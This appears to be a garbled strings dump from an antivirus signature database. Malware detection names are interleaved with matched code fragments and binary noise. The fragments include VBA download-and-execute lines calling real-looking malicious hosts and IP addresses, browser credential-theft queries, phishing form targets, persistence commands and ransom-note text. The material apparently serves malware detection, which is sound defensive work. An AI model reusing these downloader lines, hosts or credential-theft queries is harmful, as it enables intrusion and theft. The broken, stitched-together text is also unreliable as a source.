Int(strLen * Rnd + 1)) str & Mid(LETTERS, Int(strLen * Rnd + 1))] TrojanDownloader:O97M/Donoff.MXT!MTB $TrojanDownloader:O97M/Donoff.MXT!MTB \"HTTPDownload 'http://1lxtjdias-
pod:8080/stage3.exe' CreateObject (\"; Scripting.FileSystemObject; \") Wscript.CreateObject (\"; Wscript.Shell; \") \"WshShell.Run strFile\" FolderExists(Left(path, InStrRev(path Shell \"wscript 
C:\\DEV\\VBA\\stage2.vbs\" fp = \"C:\\DEV\\VBA\\stage2.vbs\" fp = \"C:\\DEV\\VBA\\stage2.vbs\"] !Konus.SG!MTB data_inject [TAB] [DELETE] [BACKSPACE] [RETURN] F3P7Y6P3U3E2U5F3 
P4Y7T7R7R8X3E3A3 D3S0A7R4F6C8F2R5   :Zone.Identifier profiles.ini B \\Google\\Chrome\\User Data\\Default\\] !Konus.SH!MTB C3E0Q6R7F1H2G5A4 https://api.ipify.org/ ?a=3 ?a=3     
explorer.exe] Behavior:Win32/DridexDllPreload.A .!Behavior:Win32/DridexDllPreload.A @!\\syswow64\\ @!\\system32\\ Behavior:Win32/DridexDllPreload.B .!Behavior:Win32/DridexDllPreload.B 
!Salgorea.A!MTB !Spynoon!MTB !Predator.SS!MSR !Predator.AR!MSR !Predator.PJ!MSR NanoBot.RKC!MSR !Tnega.AL!MTB ZJ:2 u f k,J !Obfuse.MXR!MTB dimmdpe, 
mdpe=\"krbgdwdtjonzpcmditsbquporkyvowsjggzrmtm\"setmdpe=createobject(\"microsoft.xmlhttp\") =\"https://pjoao1578pro2.site/crypt/vbscript.txt\"mdpe.open\"get\", 
,falsemdpe.send\"\"execute(\"execute(mdpe.responsetext)\") Ransom:Win64/DelShad!MSR !Borhieda.STA Processcurb.A!MTB Trojan:Win64/CobaltStrike.STB Trojan:Win64/CobaltStrike.STB\t@ 
8+Veb~ !Lokibot.RV!MTB !Obfuse.RA!MTB pjoao1578pro2.site/crypt/vbscript.txt 3pjoao1578pro2.site/crypt/vbscript.txt  Ohttps:// Processcurb.A1!MTB startingexploit..$nc\"sleep4echo\"\"echo-
e\"$az$cu2$bcheckpathbash @startingexploit..$nc\"sleep4echo\"\"echo-e\"$az$cu2$bcheckpathbash Processcurb.A2!MTB echo-e\"$v$cu1$bgettingashellasroot..$nc\"sleep2echo\"\"tputcnorm ?echo-
e\"$v$cu1$bgettingashellasroot..$nc\"sleep2echo\"\"tputcnorm APhish.VS!MSR window.frames['load-url'].location='http://r3.o.lencr.org/' =window.frames['load-url'].location='http://r3.o.lencr.org/' 
!CobaltStrike!MSR http://185.225.19.240/dmenconsvc.dll &http://185.225.19.240/dmenconsvc.dll Trojan:XML/ObfInject!MTB TrojanDownloader:O97M/TrickBot.RTS!MTB 
&TrojanDownloader:O97M/TrickBot.RTS!MTB !Empire.B eMicrosoft Loader] !Banker.SE C:\\TEMP\\\\ 0KC:\\Documents and Settings\\ \\Local Settings\\Application Data\\amb0 Banker.D !VB.AEE 
!Delf.JJ !Pidief.CI !Pidief.CJ !Pidief.CK aOpenStream.AP !VBInject.NG !VB.LP Scylla Botnet.+\\\\Server\\\\Proyecto1.vbp ,'Scylla Botnet.+\\\\Server\\\\Proyecto1.vbp !Startpage.NT [*9\"< !VB.AEF 
\\\\Laboratorio de Virus\\\\WinXP\\\\Downloader.vbp 3.\\\\Laboratorio de Virus\\\\WinXP\\\\Downloader.vbp !QQpass.DZ !Agentsmall.F C0\t\t8  C0\t\t8  C0\t\t !Agentsmall.G !Agentsmall.H C0\t\tz  C0\t\tz , 
C0\t\t !Delall.D !QQpass.CJA !Slefdel.C !Murlo.R !Murlo.N !Murlo.Q !Startpage.ACA !Startpage.ACB !QQpass.CIB !OnLineGames.ZEC ]GB}n !VB.YAI !VB.YAL !OnLineGames.ZEE!dll ~f]yu !VB.YAC 
fSM/N. -j'@d !FakeMS.C -uzf-- !Delf.ZXA !OnLineGames.AAE !Startpage.YG !Delf.ZXB Hh4c@ kA.-\t !VB.AEZ !VB.YAJ )o}a: !Zhbin.A !Startpage.YF Startpage.C Startpage.D !Startpage.AB 8CLSID\\
{871C5380-42A0-1069-A2EA-08002B30309D}\\ShellFolder #WshShell.CreateShortcut(Favorites & J\\In\"&\"t\"&\"ern\"&\"et Expl\"&\"or\"&\"er\\M\"&\"a\"&\"i\"&\"n\\S\"&\"t\"&\"ar\"&\"t P\"&\"a\"&\"ge\" 
1\\Wi\"&\"nd\"&\"ows\\C\"&\"urren\"&\"tVers\"&\"ion\\R\"&\"u\"&\"n\\ /f/q/a del \" \\Internet*.*\" 1nkfile\\shellex\\IconHandler 1nkfile\\shellex\\IconHandler] !Agent.EK 
open\\internetexplorer\\iexplore.exehttp://home.zh-cn.cc/ 9open\\internetexplorer\\iexplore.exehttp://home.zh-cn.cc/ !Agent.EL open\\internetexplorer\\iexplore.exehttp://www.tagbao.com/open 
>open\\internetexplorer\\iexplore.exehttp://www.tagbao.com/open !Cosmu.A !DyCode.C !Webnav.A!dll :\\windows\\system32\\index.html 360seURL\\shell\\open\\command :\\Program Files\\wisesoft\\ 
htmlfile\\shell\\open\\command Explorer\\iexplore.exe\" \"%1\" \\wisesoft\\config.ini \\wisesoft\\config.ini] !Banker.XO </B><SPAN id=bank-name> 
BANK=%s&QIAN=%s&ALIPAYNAME=%s&ALIPAYVER=%s *BANK=%s&QIAN=%s&ALIPAYNAME=%s&ALIPAYVER=%s %s/PayToMe/TB_Pay.Asp?nFlag=0&UserName=%s 
)%s/PayToMe/TB_Pay.Asp?nFlag=0&UserName=%s] ip.hetodo.com:8754/ip.php .hetodo.com:8080/sogouconfig/click_new_ '.hetodo.com:8080/sogouconfig/click_new_ /count.asp?mac=%s&ver=%s 
/count.asp?mac=%s&ver=%s] !Morix.B !Morix.B\t@ !Morix.C !Mulcss.A <$ t! %SystemRoot%\\System32\\svchost.exe -k $%SystemRoot%\\System32\\svchost.exe -k sc config UI0Detect start= disabled 
#sc config UI0Detect start= disabled SOFTWARE\\ODBC\\SQLLevel SOFTWARE\\ODBC\\SQLLevel] NewStart\\ADSCut_SingleQQ\\release\\ADSCut.pdb 
+NewStart\\ADSCut_SingleQQ\\release\\ADSCut.pdb !FakePlayer.B vnetservices.l0086.com.cn \\NethomeInfo\\MyIEData\\main.ini \\NethomeInfo\\MyIEData\\main.ini] !OnLineGames.ZEA!dll /t.asp 
C:\\mxdos.sys C:\\mxdos.sys] !Startpage.ZA zhenlaji tongji.aectime.com/api/ 117.40.196.202/tj7/count.asp?mac= 114search.118114.cn/search_web.html? dianxin.online.cq.cn/api/taobao/index.htm] 
!OnLineGames.ZDX!dll up/Upf.asp %s%s?ac=h&i=%s&h=%s %s%s?c=q&i=%s&s=%s&a=%s&m=%s&t=%d %s%s?c=q&i=%s&s=%s&a=%s&m=%s&t=%d] !QQpass.CIA d:\\sys.txt d:\\Txs.dll 
mm2020.usa20.ceshi6.com/SPOP/DXBPVQ/user.asp?username= &op_type=add&submit=ok &op_type=add&submit=ok&a2=&a1=&password=] !OnLineGames.ZDM!dll ?a=%s&s= 
&u=%s&p=%s&r=%s& &u=%s&p=%s&r=%s&] !OnLineGames.ZDV!dll /mibao.asp %s?act=&d10=%s&d80=%d ?d10=%s&d11=%s&d00=%s&d01=%s&d22=%s&d32=%s&d70=%d&d90=%d ?
d10=%s&d11=%s&d00=%s&d01=%s&d22=%s&d32=%s&d70=%d&d90=%d] !Delf.ZSA .xz19.com ctfmon_ kuodousetup38_ CnIE.tmp cn.tmp  cn.exe !OnLineGames.ZED!dll %s?
act=getpos&d10=%s&d80= ?a=%s&s=%s&u=%s&p=%s&pin=%s& wsidny.asp wsidny.asp] !VB.YAK kaoti.exe ahui.exe, 0 \t(C:\\WINDOWS\\system32\\ c.greenclick.cn/click?
pid=23&mid=19483&channel=2&pt=df] !VB.YAB \\Hijack.exe nResurrection.bat .18286.net/?xin NaNianHuaKai] !Xwxia.A \\npdrmv.jpg\" /q /f %MYFILES%\\coopen_setup .zuihouyi.com/ a.xwxiazai.com/ 
.07396.com/ .07396.com/] !Inbat.A %MYFILES%\\Upd.exe %MYFILES%\\in.exe //www.xunlei100.com/msn/ //install.xinruicn.com //to2.5cnd.com/ //a.xwxiazai.com/ /bibibei /coopen_setup_ 
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pipi\\unins000.exe\" /f  /DDHYT.exe  /pipi_dae_ /kugou_  /36a11.exe  /36a11.exe] !Kplo.A jjjjjjjh \\lpk.dll  LpkInitialize LpkInitialize] !Startpage.AEJ .k969.com P-ba4f-
00a0c91eedba}\\Shell\\Start\\Command\\ ,\\iexplore.exe\" http:// lore.exe,-32528 L\\Desktop\\NameSpace\\{1f4de370-d627-11d1 $a}\\LocalizedString] !Hupigon.ZAI fUCK_AVP MyLive 
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/s /t 0 sendActiveEmail sendActiveEmail] VirTool:Win64/Drixed!rfn Puwin.A TrojanDownloader:PowerShell/Cobelatt $TrojanDownloader:PowerShell/Cobelatt 
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(SCPT:VBS/Obfuscator.Split.Adodb.A|SCPT:VBS/Obfuscator.Split.FileSystemObject.A|SCPT:TrojanDownloader:VBS/Schopets!SaveToFile)&
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get_Screenshot get_Screenshot] Nekozillot.A!bit \\AppData\\Local\\Amigo\\User Data\\Default\\History http://zillot.kz/System/mysql/users.php regsetauto RisingForce2] SupportScam:MSIL/Payreen.A Q 
F/] 3\tN@U Q F/] Q F/] Trojan:Win64/CoinMiner.OT!bit !Gendelfan.F!bit Trojan:Win64/Wdfload.M!bit CoinMiner.OU! Elkcro.A Erebus Final Final\t@ Firhel.A Flood.AU Flood.BR Flood.C Flood.DH 
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Backdoor:ABAP/Rivpas.D !SerialThief Virus:ALisp/Pobresito.A Virus:ALisp/Bursted.A Virus:AmiPro/Amiv Trojan:ANSI/Bart Trojan:ANSI/Spehelp Monster.6109 Backdoor:ASP/Ace.B 
Backdoor:ASP/Ace.C Backdoor:ASP/Ace.D Backdoor:ASP/Ace.F TrojanDropper:ASP/Cobase Backdoor:ASP/Sql Backdoor:ASP/Uxor.A Trojan:ASX/Conp SillyTroj Worm:BAS/Alba  
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TrojanDownloader:HTML/Balder.A TrojanSpy:HTML/Bayfraud.A Virus:HTML/Blowup Trojan:HTML/Briss.A Trojan:HTML/ByteVerify.A Trojan:HTML/CardStealer Trojan:HTML/Citifraud.A 
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Ransom:Win32/Maze.Q!MSR Killyourself.dll wchCrypt32 dwShellCodeSize TrojanDownloader:AndroidOS/Banker!MSR %TrojanDownloader:AndroidOS/Banker!MSR 
TrojanSpy:AndroidOS/Fakecop!MSR Exploit:AndroidOS/Lotoor.A!rfn !Keylogger.AA!MSR !Downloader.AU!rfn TrojanDownloader:O97M/Obfuse.AA!MTB #TrojanDownloader:O97M/Obfuse.AA!MTB = 
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ts(\"##sjeqnu]djmcvQ]tsftV];D##!sjeln!d0!end\") Put #1, , ts(\"##sjeqnu]djmcvQ]tsftV];D##!sjeln!d0!end\")] TrojanDownloader:O97M/Obfuse.RV!MTB #TrojanDownloader:O97M/Obfuse.RV!MTB Nvrerc = 
Replace( \", \".\" &   & \"js\" &   & \"e\") Name   As Nvrerc Gjurv_tr Application.StartupPath, \"\\.\" & \".\\.\" & \".\\..\\\"  = \"\" & \"ru\" & \"\" & \"n\"  & \"sh\" &   & \"e\" &   & \"l\" & \"l\" PWS:HTML/Phish.J!MTB @ 
F#?Qw Trojan:HTML/Phish.RV!MTB Trojan:HTML/Phish.RV!MTB%@ method=\"post\"action=\"http://cpanel.asimsrl.com/ifk/cat.php <method=\"post\"action=\"http://cpanel.asimsrl.com/ifk/cat.php r:n#  v 
Wrg Getshell.B!MTB Ransom:Win32/Phobos.PA!MTB D$$PSj D$$PSjj !Obfus!MTB !Lokibot.PA!!Lokibot.gen!SD /fre.php %s\\Cyberduck \\QupZilla\\profiles\\default\\browsedata.db %s\\%s\\User 
Data\\Default\\Login Data SELECT encryptedUsername, encryptedPassword, formSubmitURL, hostname FROM moz_logins %s\\FossaMail\\profiles.ini %s\\Foxmail\\mail %s\\NETGATE\\Black Hawk 
%s\\NETGATE\\Black Hawk] !Autorun!MSR Empire.A @l(#T AMeterpreter!MSR HackTool:PowerShell/DllInject !Emotet.DCE!MSR !FormBook.U!MTB jAHxB6aic2yPK95MpS6x5gUm315 
kdqF0DZF6125 EtCes0mfY2QoX35YAnKh0mn0cSPU09Z34] !FormBook.V!MTB Kdr2T71LBy9gHHHZEFyk73hGH84 fHsx74CpJPOGAx8D7Va87Lt1iSnSiu0VIPugzUyj170 
Tp546gnRXdgjufwH77JNTSB4JFs4fR1esloL49oS188] !FormBook.W!MTB Fbm5KcKLqiiT2N36caGe0oiMvDuHr4Lo57Y2zIg147 CbcEKmg1elifRN6uqpv13 
WDDBhbETAWALhgGsoAZ1CnlQAnXxkZQV61Vun207] !FormBook.Y!MTB !Fareit.SN!MTB !GameTool!MSR Behavior:Win32/OctProcMitigationFlags.A .'Behavior:Win32/OctProcMitigationFlags.A 
L@\"mitigationflags: K@\"mitigationflags: Behavior:Win32/OctProcSignatureLevel.A .&Behavior:Win32/OctProcSignatureLevel.A L@ signaturelevel: K@ signaturelevel: 
Behavior:Win32/RDPSuspTool.A @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- !\\~@@ @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- pY_6Y@@ @  e- @  e- @  e- @  e- @  
e- @  e- @  e- @  e- @  e- phvG3@@ @  e- TrojanDownloader:O97M/Donoff.DA!MTB #TrojanDownloader:O97M/Donoff.DA!MTB TrojanDownloader:O97M/Donoff.QF!MSR 
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e- @  e- @  e- @  e- @  e- phvG3@@ @  e- TrojanDownloader:O97M/Donoff.DA!MTB #TrojanDownloader:O97M/Donoff.DA!MTB TrojanDownloader:O97M/Donoff.QF!MSR 
#TrojanDownloader:O97M/Donoff.QF!MSR Xxxwsxcxrixptx xx X/ex:xxxxXJxSCrxipxtx x\"\"x%x~xfxX0x Environ(  DATA Trojan:O97M/EICAR_Test_File.KA!MSR 
\"Trojan:O97M/EICAR_Test_File.KA!MSR eicarPart1 = \"X5O!P%@AP[4\\PZX54(P^)7C\" &eicarPart1 = \"X5O!P%@AP[4\\PZX54(P^)7C\" eicarPart2 = \"C)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*\" <eicarPart2 = \"C)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\" eicarPart1 + eicarPart2 eicarPart1 + eicarPart2] Injector.AR!MTB r`J{.Z AgentTesla.MPJ!MTB 
Bladabindi.MPJ!MTB AgentTesla.KKH!MTB Empyre.E!MTB !Predator.PVS!MTB F;t$D| !IcedID.KDS!MTB !IStartSurf.KDS!MTB !Azorult.PVD!MTB TrojanDownloader:SWF/Esaprof!MSR  
TrojanDownloader:SWF/Esaprof!MSR !VBObfus.V!MTB !Rbot.V!MTB !Appis.V!MTB TrojanDownloader:O97M/Obfuse.SJ!MTB #TrojanDownloader:O97M/Obfuse.SJ!MTB = \"https:// %/lsass.exe\" l = 
ActiveDocument.Path + \"\\lsass.exe\" = CreateObject(\"Microsoft.XMLHTTP\") Open \"GET\",  , False 'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox Worksheets(1).Activate = Range( 
).Comment.Text = StrReverse(Range( ).Comment.Text) .Exec (StrReverse( GameHack!MSR !U<0nh FormBook.X!MTB FormBook.Z!MTB !Emotet.DCD!MTB !Emotet.DCE!MTB !Filecoder.AA!MSR 
!Filecoder.AB!MSR B'~o_ !Filecoder.AC!MSR jw3y= !Filecoder.AD!MSR E58nb] !Filecoder.AE!MSR !CryptInject.SL!MSR Sufnoc.E Masdecr.A Ozwer.C Simpan.B Dest.F Thus.AE Virus:WM/Colors.AX 
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Virus:WM/BlackEnd Virus:WM/Boom.A Virus:WM/Buero.A @;G+] Virus:WM/Colors.A #>+lWV #>+lWVV] Virus:WM/Colors.B Virus:WM/Colors.J Virus:WM/Concept.L Virus:WM/Concept.H 
Virus:WM/Concept.M Virus:WM/Concept.U Virus:WM/Spiral.A Virus:WM/Concept.B _i3>P' Virus:WM/Concept.S Virus:WM/Concept.T Virus:WM/Daniel.B 8hL'.] Virus:WM/Darkside.A Virus:WM/Date.A 
Virus:WM/Divina.A Virus:XM/DMV.A Virus:WM/Hellgate.A Virus:WM/Doggie.A Virus:WM/Easy.A Virus:WM/Epidemic.A Virus:WM/Friendly.A &_O;J Virus:WM/Fury.A Virus:WM/Guess.A 
Virus:WM/Concept.D .oV7] Virus:WM/Hassle.A $.t\"! Virus:WM/Helper.A Virus:WM/Hot.A Virus:WM/Irish.A Virus:WM/Italian.A Virus:WM/Killdll.A Virus:WM/Twno.B Virus:WM/MadDog.B 
Virus:WM/MDMA.A Virus:WM/Minimal.B Virus:WM/Paper.A Virus:WM/Niki.A Virus:WM/Nop.A Virus:WM/Nop.D Virus:WM/Npad.C Virus:WM/Nuclear.A Virus:WM/Nuclear.B Virus:WM/Showoff.A 
Virus:WM/Pheeew.A Virus:WM/Polite.A Virus:WM/Rapi.A Virus:WM/Satanic.A Virus:WM/Smiley.A Virus:WM/Spooky.A Virus:WM/Stryx.A Virus:WM/NJ_WMVCK2.T Virus:WM/NJ.WMVCK 
Virus:WM/MVDK * Virus:WM/FormatC Virus:WM/Twister.A Virus:WM/Twno.A Virus:WM/Twno.D Virus:WM/Tk.A * C)\tk- Virus:WM/Kompu.A Virus:WM/Phardera.B Virus:WM/Phardera.C 
Virus:WM/Puritan Virus:WM/Random.A Virus:WM/Twno.E Virus:WM/Twno.F Virus:WM/TwoLines.A <3Wj  Virus:WM/Xenixos.A Virus:WM/Wazzu.AB Virus:WM/Wazzu.AE Virus:WM/Wazzu.AS 
Virus:WM/Wazzu.B i uC\t Virus:WM/Wazzu.F Virus:WM/Wazzu.L Virus:WM/Wazzu.Y Virus:WM/Wazzu.Z Virus:WM/Wazzu.D Virus:WM/Wazzu.I Virus:WM/Wazzu.AT Virus:WM/Wazzu.Q 
Virus:WM/Wazzu.X ; )C\t Virus:WM/Outlaw.A Virus:WM/Outlaw.B Virus:WM/Outlaw.C Virus:WM/Wazzu.C Virus:WM/Wazzu.AZ Virus:WM/Wazzu.BF Virus:WM/Wazzu.BJ Virus:WM/Attention.A 
Virus:WM/Wazzu.M Virus:WM/Wazzu.S Virus:WM/Wazzu.U Virus:WM/Wazzu.T Virus:WM/Colors.L Virus:WM/Concept.R Virus:WM/Concept.X Virus:WM/MWDK.B Virus:WM/NJ_MVDK_Black.A 
Virus:WM/Doggie.D Virus:WM/Gangsterz.A Virus:WM/Kerrang.A Virus:WM/Target.B Virus:WM/Lunch.B Virus:WM/Magnum.A Virus:WM/NJ_WMDLK!Grunt Virus:WM/Phardera.E Virus:WM/Minimal.A 
Virus:WM/Abc.A Virus:WM/Atom.B Virus:WM/Atom.D Virus:WM/Clock.A Virus:WM/Concept.C Virus:WM/Concept.E Virus:WM/Concept.F Virus:WM/Concept.G ]0H4C Virus:WM/Concept.I 
Virus:WM/Concept.J Virus:WM/Concept.K Virus:WM/Concept.N Virus:WM/CountTen.A Virus:WM/Daniel.A Virus:WM/Dietzel.A  EH\t] Virus:WM/Divina.C Virus:XM/DMV.B Virus:WM/FutureNot.A 
Virus:WM/Concept.AG Virus:WM/Goldfish.A Virus:WM/Johnny.A Virus:WM/Lunch.A Virus:WM/MadDog.A Virus:WM/MDMA.C Virus:WM/MDMA.D Virus:WM/NiceDay.A Virus:WM/Npad.B 
Virus:WM/Nuclear.C Virus:WM/Nuclear.E Virus:WM/Showoff.R Virus:WM/Tedious.A Virus:WM/Wazzu.A Virus:WM/Mercy.A Virus:WM/Showoff.G Virus:WM/Doggie.C Virus:WM/Doggie.E 
Virus:WM/Eraser.E Virus:WM/Imposter.B Virus:WM/Look.A Virus:WM/Olympic.A Virus:WM/Weather.A Virus:WM/Minimal.G Virus:WM/Minimal.H Virus:WM/Balu.A1 Virus:WM/Mercy.B 
Virus:WM/CVCK_Chicken.A  ^ag] Virus:WM/NJ_WMDLK.F Virus:WM/Olympic.B Virus:WM/Rapi.B Virus:WM/Reflex.A Virus:WM/Talon.A Virus:WM/Twno.C Virus:WM/Talon.B Virus:WM/Talon.C 
Virus:WM/Talon.D Virus:WM/Talon.F Virus:WM/Talon.G Virus:WM/Helper.C Virus:WM/Helper.D Virus:WM/Helper.E Virus:WM/Darkside.C Virus:WM/Wazzu.AN Virus:WM/Wazzu.J 
Virus:WM/Wazzu.CF Virus:WM/Andry.A Virus:WM/Atom.J Virus:WM/Darkside.D Virus:WM/Dzt.A |@%C Virus:WM/Eraser.M Virus:WM/Hunter.A Virus:WM/Talon.E 54v|YkH Virus:WM/TwoLines.A1 
XZ1k] Virus:WM/Talon.H Virus:WM/Swlabs23 Virus:WM/Wazzu.CG Virus:WM/Lazy.A Virus:WM/Eraser.H Virus:WM/Darkside.B Virus:WM/Eraser.F ;#hIBR Virus:WM/Helper.I Virus:WM/Minimal.D 
Virus:WM/Mota.A Virus:WM/Simple.A.intd Virus:WM/Swlabs.A Virus:WM/Armadillo.A Virus:WM/Terror.A.intd JU-c launchctl load -w  @/library/launchagents/com.adobe.macromedia.flash.plist -c chmod 
+x  @/.flashupdatecheck JU-c chmod +x  Exploit:O97M/CVE-2017-8570.PP!MTB !Exploit:O97M/CVE-2017-8570.PP!MTB VirTool:PowerShell/PsObfus.gen!B \" VirTool:PowerShell/PsObfus.gen!B 
SLF:PowerShell/Empire!obfus&SCRIPT:Empire.Xor&SCRIPT:InvokeObfus&(Lua:CMDExt|Lua:BATExt) \\XSLF:PowerShell/Empire!obfus&SCRIPT:Empire.Xor&SCRIPT:InvokeObfus&
(Lua:CMDExt|Lua:BATExt) SLF:PowerShell/Empire!obfus&SCRIPT:Empire.Xor&SCRIPT:InvokeObfus&MpIsPowerShellAMSIScan&(Lua:IsEnterprise|IsSeville)] 
xtSLF:PowerShell/Empire!obfus&SCRIPT:Empire.Xor&SCRIPT:InvokeObfus&MpIsPowerShellAMSIScan&(Lua:IsEnterprise|IsSeville)] Exploit:O97M/CVE-2017-8570.AV!MTB !Exploit:O97M/CVE-
2017-8570.AV!MTB TrojanDownloader:O97M/Donoff.MXSS!MTB %TrojanDownloader:O97M/Donoff.MXSS!MTB Application.ScreenUpdating = False (\"4d6963726f736f\") &  
(\"66742e584d4c48545450\")) (\"41646f64622e53747265\") &  (\"616d\")) (\"474554\"),  (\"687474703a2f2f33372e3539\") &  (\"2e3136302e3134372f76657273696f6e5f342e657865\"), False = 
Environ(\"AppData\") (\"5c31\") &  (\"333069676a74342e657865\")) Chr$(Val(\"&H\" & Mid$( write  .responseBody savetofile  (\"5c31333069676a74342e65\") &  (\"7865\"), 2 
TrojanDropper:AndroidOS/Wroba.A!MTB %#TrojanDropper:AndroidOS/Wroba.A!MTB E:?d Exploit:O97M/CVE-2017-11882.MXRR!MTB $Exploit:O97M/CVE-2017-11882.MXRR!MTB 
Exploit:O97M/CVE-2017-11882.MXRI!MTB $Exploit:O97M/CVE-2017-11882.MXRI!MTB Exploit:O97M/CVE-2017-11882.MXRL!MTB $Exploit:O97M/CVE-2017-11882.MXRL!MTB Exploit:O97M/CVE-
2017-11882.MXRO!MTB $Exploit:O97M/CVE-2017-11882.MXRO!MTB Stelega.DF!MTB $542cab06-bc48-4594-9fb8-3926ed31a294 $06eee637-d14e-4d4e-b3d5-18f38a1d521a 
Audio_Realtek_Drive.Resources.resources Gamer_Clock.My.Resources Stelega.DG!MTB $818d92f8-ca83-4992-99c7-efc78e65f909 PixelSorter.Properties.Resources cookie_list.txt outlook.txt 
passwords.txt history_Mozilla Firefox history_Mozilla Firefox] TrojanDownloader:O97M/EncDoc.PVAK!MTB %TrojanDownloader:O97M/EncDoc.PVAK!MTB 
TrojanDownloader:O97M/EncDoc.DOFT!MTB %TrojanDownloader:O97M/EncDoc.DOFT!MTB Behavior:Linux/SuspiciousHijackLinkerPaths.A .,Behavior:Linux/SuspiciousHijackLinkerPaths.A  
/usr/bin/python /bin/yum /bin/dnf  @ /etc/ld.so.conf Behavior:Linux/SuspiciousHijackLinkerPaths.B .,Behavior:Linux/SuspiciousHijackLinkerPaths.B Chopper.B!dha AgentTesla.OXCK!MTB 
AgentTesla.OXCL!MTB Behavior:MSIL/SnakeKeylogger.A!MTB .\"Behavior:MSIL/SnakeKeylogger.A!MTB SnakeKeylogger.MK!sms 4\"SxY 4\"SxY{] Behavior:Linux/HiddenCronJob.A 
Behavior:Linux/HiddenCronJob.B AObfuse.NX!MTB Backdoor:Win64/CobaltStrikeLoader.H!dha 'Backdoor:Win64/CobaltStrikeLoader.H!dha Exploit:O97M/CVE-2017-0199.RVQ!MTB 
\"Exploit:O97M/CVE-2017-0199.RVQ!MTB target=\"http://raggina.space/bc855646d052/spool/boot/acxbbz.dot\"targetmode=\"external\" 
Wtarget=\"http://raggina.space/bc855646d052/spool/boot/acxbbz.dot\"targetmode=\"external\" target=\"http://zxtenrnewlaunchinworldwide.mangospot.net/.-
...........................................................................................................-/s.dot\"targetmode=\"external\" Behavior:Win32/SuspExchgSession.E .!Behavior:Win32/SuspExchgSession.E \\microsoft\\exchange 
server\\v \\frontend\\ \\clientaccess\\ \\frontend\\httpproxy\\owa\\ \\inetpub\\wwwroot\\ Backdoor:Win64/CobaltStrike.V!dha !Backdoor:Win64/CobaltStrike.V!dha Trojan:HTML/Phish.GRV!MTB 
AObfuse.NW!MTB TrojanDownloader:O97M/IcedID.RVQ!MTB $TrojanDownloader:O97M/IcedID.RVQ!MTB CreateObject(\"wscript.shell\").RegWrite listConst, 1, \"REG_DWORD\" length = Len( )  For i 
= 0 To length - 1 reversedText & Mid( , (length - i), 1) = GetObject(\"\", \"word.application\") = \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\\" & Application.Version & 
\"\\Word\\Security\\AccessVBOM\" .Quit SaveChanges:=wdDoNotSaveChanges valueEx(countTitle, 8 / 4, 1500000)  ActiveDocument.Range.Text  TrojanDownloader:O97M/IcedID.RVR!MTB 
$TrojanDownloader:O97M/IcedID.RVR!MTB Behavior:Win32/EngSystemTokenElevated.A .'Behavior:Win32/EngSystemTokenElevated.A Behavior:Win32/ChromeChildElevated.A!dha .
(Behavior:Win32/ChromeChildElevated.A!dha Low:UI+RemediateProcess+Telemetry+ProcessMetaStore+MonitorProcTreeEop+ParentInfo 
33QLow:UI+RemediateProcess+Telemetry+ProcessMetaStore+MonitorProcTreeEop+ParentInfo Behavior:Win32/MZPEMemoryArtifacts.E .$Behavior:Win32/MZPEMemoryArtifacts.E 
!DelfInject.PNM!MTB Backdoor:Win64/Sntukore.A!dha Trojan:AndroidOS/Talklog.A!MTB Behavior:Win32/RyukCreateScheduledTask.C .(Behavior:Win32/RyukCreateScheduledTask.C 
Behavior:Win32/RyukCreateScheduledTask.D .(Behavior:Win32/RyukCreateScheduledTask.D 
Low:Telemetry+FileMetaStore+ProcessMetaStore+FullThreadScan+MonitorProcTreeEop+EmsScan+ParentInfo 
33bLow:Telemetry+FileMetaStore+ProcessMetaStore+FullThreadScan+MonitorProcTreeEop+EmsScan+ParentInfo Behavior:Win32/Ryuk.X mransom:win32/ryukschtasks.zz Behavior:Win32/Ryuk.ZZ 
Behavior:Win32/Ryuk.ZY Behavior:Win32/Ryuk.ZX Behavior:Win32/Ryuk.ZW Ransom:Win32/Ryuk.ZZ!sms Ransom:Win32/Ryuk.A!!Ryuk.A Ransom:Win32/Ryuk.B!!Ryuk.B 
Ransom:Win32/Ryuk.C!!Ryuk.C Ransom:Win32/Ryuk.D!!Ryuk.D Backdoor:Win64/Sntukore.B!dha Backdoor:Win64/Sntukore.C!dha Backdoor:Win64/Sntukore.D!dha Backdoor:Win64/Sntukore.E!dha 
Backdoor:Win64/Sntukore.F!dha Backdoor:Win64/Sntukore.G!dha TrojanDownloader:O97M/Tnega!MSR Backdoor:Win64/Sntukore.H!dha Backdoor:Win64/Sntukore.I!dha 
Backdoor:Win64/Sntukore.J!dha Gafgyt.E keksec.was.here you have been infected by knownBots /x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A 
TrojanDownloader:O97M/EncDoc.IDIE!MTB %TrojanDownloader:O97M/EncDoc.IDIE!MTB Ransom:MSIL/Cryptolocker.DN!MTB SAYGOODBYE.exe2 ShellLocker2 ___RECOVER__FILES__.heart.txt 
YOUR FILES HAVE BEEN  ENCRYPTED .kanmani \\Heartbeat\\keys.json EncryptFiles encryptFile Encrypted Files Count: Black Cat crypt15 BTC address: BTC address:] !Glupteba.PO!MTB 8<7{jF  
!Dridex.OR!MTB TrojanDropper:O97M/Hancitor.KAI!MTB %#TrojanDropper:O97M/Hancitor.KAI!MTB TrojanDropper:O97M/Hancitor.KAJ!MTB %#TrojanDropper:O97M/Hancitor.KAJ!MTB 
TrojanDownloader:O97M/EncDoc.AJSR!MTB %TrojanDownloader:O97M/EncDoc.AJSR!MTB AgentTesla.OXCN!MTB TrojanDownloader:O97M/EncDoc.PVAM!MTB 
%TrojanDownloader:O97M/EncDoc.PVAM!MTB AChopper!dha TrojanDownloader:O97M/Gozi.ANNS!MTB #TrojanDownloader:O97M/Gozi.ANNS!MTB = \"explorer c:\\users\\public\\ %.hta\" .exec tg = 
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#TrojanDownloader:O97M/Gozi.ANTL!MTB Ransom:PowerShell/BeBack 
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Attacker NetBot Attackera SYSTEM32\\hf0021.dll sethooke = %08x SetHook sethooke = %08xSetHook <%s%s?dfu=%s&dfp=%s&dfp2=%s&dfn=%s SELECT SERVER .\\DNF.cfg <%s%s?
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Helper Objects .regsvr32 /s shdocwv.dll Brasil] HatiHati.A aI[=b !VB.CI !Pdfjsc.EQ %pdf-
